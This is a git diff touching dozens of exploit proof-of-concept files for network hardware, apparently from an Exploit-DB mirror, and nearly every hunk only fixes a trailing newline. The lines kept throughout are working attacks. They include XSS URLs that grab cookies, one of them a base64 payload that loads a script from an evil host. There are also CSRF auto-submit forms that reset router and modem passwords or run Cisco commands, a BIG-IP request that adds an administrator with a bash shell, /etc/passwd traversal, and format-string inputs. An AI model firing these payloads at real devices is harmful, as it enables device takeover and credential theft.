firmware versions are vulnerable: 6.0.1 https://www.example.com/download_plugin.php3?js=&backurl=Ij48c2NyaXB0IHNyYz0iaHR0cDovL3d3dy5ldmlsLmZvby94c3MiPjwvc2NyaXB0PjxhIGhyZWY9Ig== -https://www.example.com/download_plugin.php3?js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i \ No newline at end of file +https://www.example.com/download_plugin.php3?js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i \ No newline at end of file diff --git a/platforms/hardware/remote/30834.txt b/platforms/hardware/remote/30834.txt index d7b56c994..9aa7d3625 100755 --- a/platforms/hardware/remote/30834.txt +++ b/platforms/hardware/remote/30834.txt @@ -9,4 +9,4 @@ F5 FirePass 4100 SSL VPNs running these firmware versions are vulnerable: 5.4.1 through 5.5.2 6.0 through 6.0.1 -https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!-- \ No newline at end of file +https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!-- \ No newline at end of file diff --git a/platforms/hardware/remote/30882.txt b/platforms/hardware/remote/30882.txt index d53c4e473..c8fb3912d 100755 --- a/platforms/hardware/remote/30882.txt +++ b/platforms/hardware/remote/30882.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Thomson SpeedTouch 716 firmware 6.2.17.50 and 5.4.0.14; other versions may also be affected. -http://www.example.com/cgi/b/ic/connect/?nm=1&client=192.168.1.72&server=&event=ServerTimeout&url=<script>alert('bla');</script> \ No newline at end of file +http://www.example.com/cgi/b/ic/connect/?nm=1&client=192.168.1.72&server=&event=ServerTimeout&url=<script>alert('bla');</script> \ No newline at end of file diff --git a/platforms/hardware/remote/30935.txt b/platforms/hardware/remote/30935.txt index 9abf5abd5..755219f9d 100755 --- a/platforms/hardware/remote/30935.txt +++ b/platforms/hardware/remote/30935.txt @@ -24,4 +24,4 @@ ame=admin&newpass=santa_pw &confpass=santa_pw&submit-url=%2Fstatus.asp&save=Save" width="0" height="0"> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/hardware/remote/31013.txt b/platforms/hardware/remote/31013.txt index 9a82fc702..99bb1eaca 100755 --- a/platforms/hardware/remote/31013.txt +++ b/platforms/hardware/remote/31013.txt @@ -14,4 +14,4 @@ Disable Wireless Authentication http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0 Set Dynamic DNS -http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE \ No newline at end of file +http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE \ No newline at end of file diff --git a/platforms/hardware/remote/31024.txt b/platforms/hardware/remote/31024.txt index 673098b63..7212fc62e 100755 --- a/platforms/hardware/remote/31024.txt +++ b/platforms/hardware/remote/31024.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br BIG-IP firmware version 9.4.3 is vulnerable; other versions may also be affected. -https://www.example.com?SearchString=%22%20type=%22hidden%22%3E%3Cscript%3Ealert(%22list-xss%22)%3C/script%3E%3Cinput%20type=%22hidden%22%20value=%22 \ No newline at end of file +https://www.example.com?SearchString=%22%20type=%22hidden%22%3E%3Cscript%3Ealert(%22list-xss%22)%3C/script%3E%3Cinput%20type=%22hidden%22%20value=%22 \ No newline at end of file diff --git a/platforms/hardware/remote/31031.txt b/platforms/hardware/remote/31031.txt index 3e327cf28..de428c49f 100755 --- a/platforms/hardware/remote/31031.txt +++ b/platforms/hardware/remote/31031.txt @@ -18,4 +18,4 @@ X-SomeHeader: ... packet 2: X-SomeOtherHeader: .... Host: www.example.com -... \ No newline at end of file +... \ No newline at end of file diff --git a/platforms/hardware/remote/31078.txt b/platforms/hardware/remote/31078.txt index 69e826a89..a8405783f 100755 --- a/platforms/hardware/remote/31078.txt +++ b/platforms/hardware/remote/31078.txt @@ -10,4 +10,4 @@ UPDATE: This BID has been retired because it has been found to be a duplicate of UPDATE (February 1, 2008): This BID is being reinstated. Further investigation and new information reveal that this vulnerability differs from the one described in BID 27246. -http://www.example.com/xslt?PAGE=H04_POST&PASSWORD=admin&PASSWORD_CONF=admin \ No newline at end of file +http://www.example.com/xslt?PAGE=H04_POST&PASSWORD=admin&PASSWORD_CONF=admin \ No newline at end of file diff --git a/platforms/hardware/remote/31133.txt b/platforms/hardware/remote/31133.txt index 1e1c1d07a..e686684c2 100755 --- a/platforms/hardware/remote/31133.txt +++ b/platforms/hardware/remote/31133.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to execute arbitrary actions o F5 BIG-IP 9.4.3 is vulnerable; other versions may also be affected. -https://www.example.com/tmui/Control/form?handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all \ No newline at end of file +https://www.example.com/tmui/Control/form?handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all \ No newline at end of file diff --git a/platforms/hardware/remote/31298.txt b/platforms/hardware/remote/31298.txt index 0739f87fe..75cfd0536 100755 --- a/platforms/hardware/remote/31298.txt +++ b/platforms/hardware/remote/31298.txt @@ -4,4 +4,4 @@ Packeteer PacketShaper and PolicyCenter are prone to a cross-site scripting vuln An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -https://www.example.com/whatever.htm?FILELIST=%3C/script%3E%3Cbody+onLoad=alert(%26quot%3BXSS%26quot%3B)%3E%3Cscript%3E \ No newline at end of file +https://www.example.com/whatever.htm?FILELIST=%3C/script%3E%3Cbody+onLoad=alert(%26quot%3BXSS%26quot%3B)%3E%3Cscript%3E \ No newline at end of file diff --git a/platforms/hardware/remote/31342.txt b/platforms/hardware/remote/31342.txt index 105971425..511cae6fd 100755 --- a/platforms/hardware/remote/31342.txt +++ b/platforms/hardware/remote/31342.txt @@ -11,4 +11,4 @@ Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 22 -DialogText=&Advanced=1 \ No newline at end of file +DialogText=&Advanced=1 \ No newline at end of file diff --git a/platforms/hardware/remote/31698.txt b/platforms/hardware/remote/31698.txt index 948832f31..446ae5a62 100755 --- a/platforms/hardware/remote/31698.txt +++ b/platforms/hardware/remote/31698.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow FirePass 4100 SSL VPN Firmware 5.4.2-5.5.2 and 6.0-6.2 are vulnerable. -http://www.example.com/installControl.php3?1&%22%3E%3C/script%3E%3Ctextarea%3EHtml%20injection%3C/textarea%3E%3C!--= http://www.example.com/installControl.php3?>'"><script>alert(514)</script> \ No newline at end of file +http://www.example.com/installControl.php3?1&%22%3E%3C/script%3E%3Ctextarea%3EHtml%20injection%3C/textarea%3E%3C!--= http://www.example.com/installControl.php3?>'"><script>alert(514)</script> \ No newline at end of file diff --git a/platforms/hardware/remote/31828.txt b/platforms/hardware/remote/31828.txt index c80ebc098..339e29d6a 100755 --- a/platforms/hardware/remote/31828.txt +++ b/platforms/hardware/remote/31828.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Firmware prior to Barracuda Spam Firewall 3.5.11.025 is vulnerable. -https://www.example.com/cgi-bin/ldap_test.cgi?host=127.0.0.1&port=1&tl s_mode=tls_mode&tls_require=&username=&password=&filter=&searchbase=&uni que_attr=&email_attr=&domain=*&email=%3Cscript%3Ealert(document.cookie)% 3C/script%3E \ No newline at end of file +https://www.example.com/cgi-bin/ldap_test.cgi?host=127.0.0.1&port=1&tl s_mode=tls_mode&tls_require=&username=&password=&filter=&searchbase=&uni que_attr=&email_attr=&domain=*&email=%3Cscript%3Ealert(document.cookie)% 3C/script%3E \ No newline at end of file diff --git a/platforms/hardware/remote/31864.txt b/platforms/hardware/remote/31864.txt index 91f949d54..cd64a23c0 100755 --- a/platforms/hardware/remote/31864.txt +++ b/platforms/hardware/remote/31864.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Xerox DocuShare 6 and prior versions are vulnerable. -http://www.example.com/docushare/dsweb/ServicesLib/Group-#/XSS \ No newline at end of file +http://www.example.com/docushare/dsweb/ServicesLib/Group-#/XSS \ No newline at end of file diff --git a/platforms/hardware/remote/32336.txt b/platforms/hardware/remote/32336.txt index 109d77c30..5ca267301 100755 --- a/platforms/hardware/remote/32336.txt +++ b/platforms/hardware/remote/32336.txt @@ -4,4 +4,4 @@ D-Link DIR-100 is affected by a vulnerability that allows attackers to bypass se D-Link DIR-100 devices with firmware 1.12 are vulnerable; other versions may be affected as well. -http://www.example.com/?foo=aaa(...) \ No newline at end of file +http://www.example.com/?foo=aaa(...) \ No newline at end of file diff --git a/platforms/hardware/remote/32390.html b/platforms/hardware/remote/32390.html index e39d6f74d..a940ec123 100755 --- a/platforms/hardware/remote/32390.html +++ b/platforms/hardware/remote/32390.html @@ -6,4 +6,4 @@ Successful exploits can run arbitrary commands on affected devices. This may lea The 871 Integrated Services Router under IOS 12.4 is vulnerable; other products and versions may also be affected. -<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="asdf.submit();"> <form name=asdf method="post" action="http://example.com/level/15/exec/-"> <input type=hidden name=command value="show privilege"> <input type=hidden name=command_url value="/level/15/exec/-"> </body> </html> \ No newline at end of file +<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="asdf.submit();"> <form name=asdf method="post" action="http://example.com/level/15/exec/-"> <input type=hidden name=command value="show privilege"> <input type=hidden name=command_url value="/level/15/exec/-"> </body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/32391.html b/platforms/hardware/remote/32391.html index fb8cf00dc..4983cbc69 100755 --- a/platforms/hardware/remote/32391.html +++ b/platforms/hardware/remote/32391.html @@ -6,4 +6,4 @@ Successful exploits can run arbitrary commands on affected devices. This may lea The 871 Integrated Services Router under IOS 12.4 is vulnerable; other products and versions may also be affected. -<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="fdsa.submit();"> <form name=fdsa method="post" action="http://example.com/level/15/exec/-/configure/http"> <input type=hidden name=command value="alias exec xx xx"> <input type=hidden name=command_url value="/level/15/exec/-"> <input type=hidden name=new_command_url value="/level/15/configure/-"> </body> </html> \ No newline at end of file +<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="fdsa.submit();"> <form name=fdsa method="post" action="http://example.com/level/15/exec/-/configure/http"> <input type=hidden name=command value="alias exec xx xx"> <input type=hidden name=command_url value="/level/15/exec/-"> <input type=hidden name=new_command_url value="/level/15/configure/-"> </body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/32552.txt b/platforms/hardware/remote/32552.txt index 482ae6ea0..83eb8122e 100755 --- a/platforms/hardware/remote/32552.txt +++ b/platforms/hardware/remote/32552.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to SonicWALL Content Filtering on SonicOS Enhanced 4.0.1.1 are vulnerable. -http://www.example.com/fuck<script>alert(document.cookie</script> \ No newline at end of file +http://www.example.com/fuck<script>alert(document.cookie</script> \ No newline at end of file diff --git a/platforms/hardware/remote/32582.txt b/platforms/hardware/remote/32582.txt index bad0015ec..0207f7df0 100755 --- a/platforms/hardware/remote/32582.txt +++ b/platforms/hardware/remote/32582.txt @@ -9,4 +9,4 @@ Belkin F5D8233-4 is vulnerable; other devices may also be affected. Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080 Restore the router's default factory settings: /cgi-bin/restore.exe Reboot the router: /cgi-bin/restart.exe -Log in with the default password": /cgi-bin/login.exe?pws= \ No newline at end of file +Log in with the default password": /cgi-bin/login.exe?pws= \ No newline at end of file diff --git a/platforms/hardware/remote/32591.txt b/platforms/hardware/remote/32591.txt index 03df6916c..b733452d1 100755 --- a/platforms/hardware/remote/32591.txt +++ b/platforms/hardware/remote/32591.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/32358/info Successfully exploiting these issues will allow an attacker to obtain administrative credentials, bypass security mechanisms, or run attacker-supplied HTML and script code in the context of the web administration interface. The attacker may then be able to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible. -snmpset -v2c -c private 192.168.1.1 sysName.0 s "PAYLOAD_GOES_HERE" \ No newline at end of file +snmpset -v2c -c private 192.168.1.1 sysName.0 s "PAYLOAD_GOES_HERE" \ No newline at end of file diff --git a/platforms/hardware/remote/32599.txt b/platforms/hardware/remote/32599.txt index 87d538d1d..3b5d9c1eb 100755 --- a/platforms/hardware/remote/32599.txt +++ b/platforms/hardware/remote/32599.txt @@ -6,4 +6,4 @@ Attackers may exploit this issue by enticing victims into opening a malicious UR An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials, cause denial-of-service conditions, and launch other attacks. -http://www.example.com/apply.cgi?submit_button=DHCP_Static&action=--%3E%3CScRiPt%20%0A%0D%3Ealert(398343216433)%3B%3C%2FScRiPt%3E&wait_time=0&forward_single=15 \ No newline at end of file +http://www.example.com/apply.cgi?submit_button=DHCP_Static&action=--%3E%3CScRiPt%20%0A%0D%3Ealert(398343216433)%3B%3C%2FScRiPt%3E&wait_time=0&forward_single=15 \ No newline at end of file diff --git a/platforms/hardware/remote/32723.txt b/platforms/hardware/remote/32723.txt index cbe211833..8d23ee8aa 100755 --- a/platforms/hardware/remote/32723.txt +++ b/platforms/hardware/remote/32723.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues are tracked by Cisco bug IDs CSCsi13344 and CSCsr72301. -http://www.example.com/ping?<script>alert("Running+code+within+the_context+of+"%2bdocument.domain)</script> \ No newline at end of file +http://www.example.com/ping?<script>alert("Running+code+within+the_context+of+"%2bdocument.domain)</script> \ No newline at end of file diff --git a/platforms/hardware/remote/32776.txt b/platforms/hardware/remote/32776.txt index a313aeee8..1ae9b6631 100755 --- a/platforms/hardware/remote/32776.txt +++ b/platforms/hardware/remote/32776.txt @@ -8,4 +8,4 @@ Note that this issue may be related to an issue described in BID 33260 (Cisco IO Cisco IOS 12.4(23) is vulnerable; other versions may also be affected. -http://www.example.com/level/15/exec/-/"><body onload=alert("bug")> http://www.example.com/exec/"><body onload="alert('bug');"> \ No newline at end of file +http://www.example.com/level/15/exec/-/"><body onload=alert("bug")> http://www.example.com/exec/"><body onload="alert('bug');"> \ No newline at end of file diff --git a/platforms/hardware/remote/32801.txt b/platforms/hardware/remote/32801.txt index 3f0ac0e62..199508928 100755 --- a/platforms/hardware/remote/32801.txt +++ b/platforms/hardware/remote/32801.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Barracuda Load Balancer 640 is vulnerable; other versions may also be affected. -http://www.example.com/cgi-mod/index.cgi?realm="><script>alert(â??XSS Possible!!!â??)</script> \ No newline at end of file +http://www.example.com/cgi-mod/index.cgi?realm="><script>alert(â??XSS Possible!!!â??)</script> \ No newline at end of file diff --git a/platforms/hardware/remote/32931.html b/platforms/hardware/remote/32931.html index d1a2e2af7..f18db1543 100755 --- a/platforms/hardware/remote/32931.html +++ b/platforms/hardware/remote/32931.html @@ -6,4 +6,4 @@ Successful attacks will lead to a compromise of the vulnerable device, which may Linksys WRT54GC running firmware 1.05.7 is vulnerable; other versions may also be affected. -<html><body> <form method="POST" action="http://IP_ADDRESS:8080/administration.cgi" name="senha" ENCTYPE="multipart/form-data"> <INPUT type="hidden" name="sysPasswd" value="12345" maxLength=20 size=21> <INPUT type="hidden" name="sysConfirmPasswd" value="12345" maxLength=20 size=21> </form> <!-- C?digo de envio autom?tico do formul?rio --> <SCRIPT language="JavaScript"> document.senha.submit(); </SCRIPT> \ No newline at end of file +<html><body> <form method="POST" action="http://IP_ADDRESS:8080/administration.cgi" name="senha" ENCTYPE="multipart/form-data"> <INPUT type="hidden" name="sysPasswd" value="12345" maxLength=20 size=21> <INPUT type="hidden" name="sysConfirmPasswd" value="12345" maxLength=20 size=21> </form> <!-- C?digo de envio autom?tico do formul?rio --> <SCRIPT language="JavaScript"> document.senha.submit(); </SCRIPT> \ No newline at end of file diff --git a/platforms/hardware/remote/32954.txt b/platforms/hardware/remote/32954.txt index d142defbb..d9ab4120b 100755 --- a/platforms/hardware/remote/32954.txt +++ b/platforms/hardware/remote/32954.txt @@ -9,4 +9,4 @@ Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd -http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd \ No newline at end of file +http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd \ No newline at end of file diff --git a/platforms/hardware/remote/33016.txt b/platforms/hardware/remote/33016.txt index 6b69c8ac5..3d932451f 100755 --- a/platforms/hardware/remote/33016.txt +++ b/platforms/hardware/remote/33016.txt @@ -13,4 +13,4 @@ SSL-VPN 4000 firmware prior to 3.5.0.5 https://www.example.com/cgi-bin/welcome/VirtualOffice?err=ABCD%x%x%x https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x -https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%n \ No newline at end of file +https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%n \ No newline at end of file diff --git a/platforms/hardware/remote/33046.html b/platforms/hardware/remote/33046.html index 2b72578f0..2c9aaf257 100755 --- a/platforms/hardware/remote/33046.html +++ b/platforms/hardware/remote/33046.html @@ -6,4 +6,4 @@ Successfully exploiting this issue may allow attackers to bypass the Mail's call NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it. -<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <script lang=javascript> l = "<iframe src=\"sms:"; for (i = 0; i < 10000; i++) { l = l + "3340948034298232"; } l = l + "\" width=10 height=10></iframe><iframe src=\"tel:+12345\" height=10 width=10></iframe>"; document.write(l); </script> </body> </html> \ No newline at end of file +<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <script lang=javascript> l = "<iframe src=\"sms:"; for (i = 0; i < 10000; i++) { l = l + "3340948034298232"; } l = l + "\" width=10 height=10></iframe><iframe src=\"tel:+12345\" height=10 width=10></iframe>"; document.write(l); </script> </body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/33054.txt b/platforms/hardware/remote/33054.txt index 5f8130dd0..ecd6fc304 100755 --- a/platforms/hardware/remote/33054.txt +++ b/platforms/hardware/remote/33054.txt @@ -13,4 +13,4 @@ Versions prior to ASA 8.0.4.34 and 8.1.2.25 are vulnerable. The following example is available: -/+CSCOE+/files/browse.html?code=init&path=ftp%3A%2F%2F7367632e726b6e7a6379722e70627a \ No newline at end of file +/+CSCOE+/files/browse.html?code=init&path=ftp%3A%2F%2F7367632e726b6e7a6379722e70627a \ No newline at end of file diff --git a/platforms/hardware/remote/33055.html b/platforms/hardware/remote/33055.html index 2df405b84..50653dd29 100755 --- a/platforms/hardware/remote/33055.html +++ b/platforms/hardware/remote/33055.html @@ -8,4 +8,4 @@ This issue is documented by Cisco Bug ID CSCsy80694. Cisco ASA 8.0.(4), 8.1.2, and 8.2.1 are vulnerable. -<html><script> function a(b, c) { return "alert('Your VPN location:\\n\\n'+" + "document.location+'\\n\\n\\n\\n\\n" + "Your VPN cookie:\\n\\n'+document.cookie);"; } CSCO_WebVPN['process'] = a; csco_wrap_js(''); </script></html> \ No newline at end of file +<html><script> function a(b, c) { return "alert('Your VPN location:\\n\\n'+" + "document.location+'\\n\\n\\n\\n\\n" + "Your VPN cookie:\\n\\n'+document.cookie);"; } CSCO_WebVPN['process'] = a; csco_wrap_js(''); </script></html> \ No newline at end of file diff --git a/platforms/hardware/remote/33165.txt b/platforms/hardware/remote/33165.txt index 4d5a063e3..8e003cc8d 100755 --- a/platforms/hardware/remote/33165.txt +++ b/platforms/hardware/remote/33165.txt @@ -9,4 +9,4 @@ Unauthenticated attackers can leverage this issue to change the router's adminis The following example URIs are available: http://gateway.example.net?xslt?page=CD35_SETUP_01 -http://gateway.example.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&password2=*Ax512* \ No newline at end of file +http://gateway.example.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&password2=*Ax512* \ No newline at end of file diff --git a/platforms/hardware/remote/33177.txt b/platforms/hardware/remote/33177.txt index 874c1ac05..5c018b97f 100755 --- a/platforms/hardware/remote/33177.txt +++ b/platforms/hardware/remote/33177.txt @@ -12,4 +12,4 @@ The following example URIs are available: http://www.example.com/router-info.htm http://www.example.com/cgi-bin/router-info.htm -http://www.example.com/cgi-bin/NETGEAR_WNR2000.cfg \ No newline at end of file +http://www.example.com/cgi-bin/NETGEAR_WNR2000.cfg \ No newline at end of file diff --git a/platforms/hardware/remote/33471.txt b/platforms/hardware/remote/33471.txt index f27e220d3..c3dc72e30 100755 --- a/platforms/hardware/remote/33471.txt +++ b/platforms/hardware/remote/33471.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example data is available: -The POST variable nickname has been set to 1>">"> \ No newline at end of file +The POST variable nickname has been set to 1>">"> \ No newline at end of file diff --git a/platforms/hardware/remote/33568.txt b/platforms/hardware/remote/33568.txt index d5e95323c..0096bbd8c 100755 --- a/platforms/hardware/remote/33568.txt +++ b/platforms/hardware/remote/33568.txt @@ -9,4 +9,4 @@ MiFi 2352 access point firmware 11.47.17 is vulnerable; other versions may also The following example URIs are available: http://www.example.com/config.xml.sav -http://www.example.com/config.xml.save \ No newline at end of file +http://www.example.com/config.xml.save \ No newline at end of file diff --git a/platforms/hardware/remote/33580.txt b/platforms/hardware/remote/33580.txt index 4baf396bf..7b5f157bc 100755 --- a/platforms/hardware/remote/33580.txt +++ b/platforms/hardware/remote/33580.txt @@ -4,4 +4,4 @@ Comtrend CT-507 IT is prone to a cross-site scripting vulnerability because the An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/scvrtsrv.cmd?action=add&srvName=XSS_HERE&srvAddr=192.168.1.1&proto=1,&eStart=1,&eEnd=1,&iStart=1,&iEnd=1 \ No newline at end of file +http://www.example.com/scvrtsrv.cmd?action=add&srvName=XSS_HERE&srvAddr=192.168.1.1&proto=1,&eStart=1,&eEnd=1,&iStart=1,&iEnd=1 \ No newline at end of file diff --git a/platforms/hardware/remote/33648.txt b/platforms/hardware/remote/33648.txt index b9213b280..7277af7f8 100755 --- a/platforms/hardware/remote/33648.txt +++ b/platforms/hardware/remote/33648.txt @@ -6,4 +6,4 @@ Successful exploits may allow attackers to run privileged commands on the affect The following example URI is available: -http://www.example.com/password.cgi?sysPassword=BASE64_NEW_PASSWORD \ No newline at end of file +http://www.example.com/password.cgi?sysPassword=BASE64_NEW_PASSWORD \ No newline at end of file diff --git a/platforms/hardware/remote/33962.txt b/platforms/hardware/remote/33962.txt index 607e26544..d1b2fca36 100755 --- a/platforms/hardware/remote/33962.txt +++ b/platforms/hardware/remote/33962.txt @@ -5,9 +5,9 @@ Cisco Application Control Engine (ACE) is prone to a security weakness that may Attackers can exploit this issue to avoid having client IP addresses logged by servers. GET / HTTP / 1 . 1 -HOST: Myserver +HOST: Myserver.com CONNECTION: KEEP-ALIVE GET / HTTP/1.1 -HOST: Myserver -CONNECTION: KEEP-ALIVE \ No newline at end of file +HOST: Myserver.com +CONNECTION: KEEP-ALIVE \ No newline at end of file diff --git a/platforms/hardware/remote/34033.html b/platforms/hardware/remote/34033.html index 24ebfeb4a..689b60538 100755 --- a/platforms/hardware/remote/34033.html +++ b/platforms/hardware/remote/34033.html @@ -6,4 +6,4 @@ Successful exploits may allow attackers to run privileged commands on the affect Firmware versions prior to 2.0.2.r1256-100324as are vulnerable. -<html> <head> <title>Test for CSRF vulnerability in WebSTAR modems</title> </head> <body> <form name="csrf" method="post" action="http://192.168.100.1/goform/_aslvl"> <input type="hidden" name="SAAccessLevel" value="0"> <input type="hidden" name="SAPassword" value="W2402"> </form> <script>document.csrf.submit()</script> </body> </html> \ No newline at end of file +<html> <head> <title>Test for CSRF vulnerability in WebSTAR modems</title> </head> <body> <form name="csrf" method="post" action="http://192.168.100.1/goform/_aslvl"> <input type="hidden" name="SAAccessLevel" value="0"> <input type="hidden" name="SAPassword" value="W2402"> </form> <script>document.csrf.submit()</script> </body> </html> \ No newline at end of file diff --git a/platforms/hardware/remote/34182.txt b/platforms/hardware/remote/34182.txt index 97e95a2d7..021eb478e 100755 --- a/platforms/hardware/remote/34182.txt +++ b/platforms/hardware/remote/34182.txt @@ -13,4 +13,4 @@ The following firmware versions are vulnerable: The following example input to the vulnerable parameter is available: -echo "&lt;/textarea&gt;<script>alert('XSS');</script>" \ No newline at end of file +echo "&lt;/textarea&gt;<script>alert('XSS');</script>" \ No newline at end of file diff --git a/platforms/hardware/remote/34200.txt b/platforms/hardware/remote/34200.txt index 8e778dc47..b8a94cc9d 100755 --- a/platforms/hardware/remote/34200.txt +++ b/platforms/hardware/remote/34200.txt @@ -8,4 +8,4 @@ Firmware versions prior to Cisco ASA 8.1(2) are vulnerable. This issue is being tracked by Cisco Bugid CSCsr09163. -URL: http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom Request: GET http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0 Host: /www.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Response: HTTP/1.0 301 Moved Permanently Server: Web Server Location: https:///www.example2.com/ Location: http:///www.example3.com Content-Type: text/html Content-Length: 125 \ No newline at end of file +URL: http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom Request: GET http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0 Host: /www.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Response: HTTP/1.0 301 Moved Permanently Server: Web Server Location: https:///www.example2.com/ Location: http:///www.example3.com Content-Type: text/html Content-Length: 125 \ No newline at end of file diff --git a/platforms/hardware/remote/34986.txt b/platforms/hardware/remote/34986.txt index fc7e49d42..3a27420d9 100755 --- a/platforms/hardware/remote/34986.txt +++ b/platforms/hardware/remote/34986.txt @@ -15,4 +15,4 @@ Content-length: 0 ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh -http://www.example.com/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0 \ No newline at end of file +http://www.example.com/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0 \ No newline at end of file diff --git a/platforms/hardware/remote/35014.txt b/platforms/hardware/remote/35014.txt index c7c2af778..595b9119a 100755 --- a/platforms/hardware/remote/35014.txt +++ b/platforms/hardware/remote/35014.txt @@ -16,4 +16,4 @@ Content-Type: application/x-www-form-urlencoded Content-Length: 1000 